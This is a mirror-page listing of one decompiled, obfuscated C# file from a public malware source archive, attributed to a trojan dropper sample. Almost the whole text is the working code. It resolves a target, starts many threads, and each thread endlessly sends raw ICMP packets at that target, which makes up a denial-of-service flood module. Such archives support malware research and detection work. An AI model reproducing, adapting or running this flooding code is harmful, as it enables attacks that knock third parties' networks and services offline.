mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
f2ac1ece55
add
128 lines
3.6 KiB
C#
128 lines
3.6 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe
|
||
|
||
using \u0008;
|
||
using System.Net;
|
||
using System.Net.Sockets;
|
||
using System.Runtime.InteropServices;
|
||
using System.Threading;
|
||
|
||
namespace \u0008
|
||
{
|
||
internal sealed class \u0003
|
||
{
|
||
private static ThreadStart[] \u0001;
|
||
private static Thread[] \u0001;
|
||
public static string \u0001;
|
||
public static int \u0001;
|
||
private static IPEndPoint \u0001;
|
||
public static int \u0002;
|
||
private static \u0003.\u0001[] \u0001;
|
||
public static int \u0003;
|
||
public static bool \u0001 = false;
|
||
|
||
public static void \u000F()
|
||
{
|
||
try
|
||
{
|
||
\u0003.\u0001 = new IPEndPoint(Dns.GetHostEntry(\u0003.\u0001).AddressList[0], 0);
|
||
}
|
||
catch
|
||
{
|
||
\u0003.\u0001 = new IPEndPoint(IPAddress.Parse(\u0003.\u0001), 0);
|
||
}
|
||
\u0003.\u0001 = new Thread[\u0003.\u0003];
|
||
\u0003.\u0001 = new ThreadStart[\u0003.\u0003];
|
||
\u0003.\u0001 = new \u0003.\u0001[\u0003.\u0003];
|
||
for (int index = 0; index < \u0003.\u0003; ++index)
|
||
{
|
||
\u0003.\u0001[index] = new \u0003.\u0001(\u0003.\u0001, \u0003.\u0001, \u0003.\u0002);
|
||
\u0003.\u0001[index] = new ThreadStart(\u0003.\u0001[index].\u000F);
|
||
\u0003.\u0001[index] = new Thread(\u0003.\u0001[index]);
|
||
\u0003.\u0001[index].Start();
|
||
}
|
||
\u0003.\u0001 = true;
|
||
}
|
||
|
||
public static void \u0010()
|
||
{
|
||
for (int index = 0; index < \u0003.\u0003; ++index)
|
||
{
|
||
try
|
||
{
|
||
\u0003.\u0001[index].Abort();
|
||
\u0003.\u0001[index].Join();
|
||
}
|
||
catch
|
||
{
|
||
\u0003.\u0001 = false;
|
||
}
|
||
}
|
||
\u0003.\u0001 = false;
|
||
}
|
||
|
||
private sealed class \u0001
|
||
{
|
||
private int \u0001;
|
||
private IPEndPoint \u0001;
|
||
private int \u0002;
|
||
private Socket[] \u0001;
|
||
|
||
public \u0001([In] IPEndPoint obj0, [In] int obj1, [In] int obj2)
|
||
{
|
||
this.\u0001 = obj0;
|
||
this.\u0001 = obj1;
|
||
this.\u0002 = obj2;
|
||
}
|
||
|
||
public void \u000F()
|
||
{
|
||
byte[] buffer = new byte[this.\u0002];
|
||
label_1:
|
||
try
|
||
{
|
||
while (true)
|
||
{
|
||
this.\u0001 = new Socket[this.\u0001];
|
||
for (int index = 0; index < this.\u0001; ++index)
|
||
{
|
||
this.\u0001[index] = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp);
|
||
this.\u0001[index].Blocking = false;
|
||
this.\u0001[index].SendTo(buffer, (EndPoint) this.\u0001);
|
||
}
|
||
Thread.Sleep(100);
|
||
for (int index = 0; index < this.\u0001; ++index)
|
||
{
|
||
if (this.\u0001[index].Connected)
|
||
this.\u0001[index].Disconnect(false);
|
||
this.\u0001[index].Close();
|
||
this.\u0001[index] = (Socket) null;
|
||
}
|
||
this.\u0001 = (Socket[]) null;
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
for (int index = 0; index < this.\u0001; ++index)
|
||
{
|
||
try
|
||
{
|
||
if (this.\u0001[index].Connected)
|
||
this.\u0001[index].Disconnect(false);
|
||
this.\u0001[index].Close();
|
||
this.\u0001[index] = (Socket) null;
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
goto label_1;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|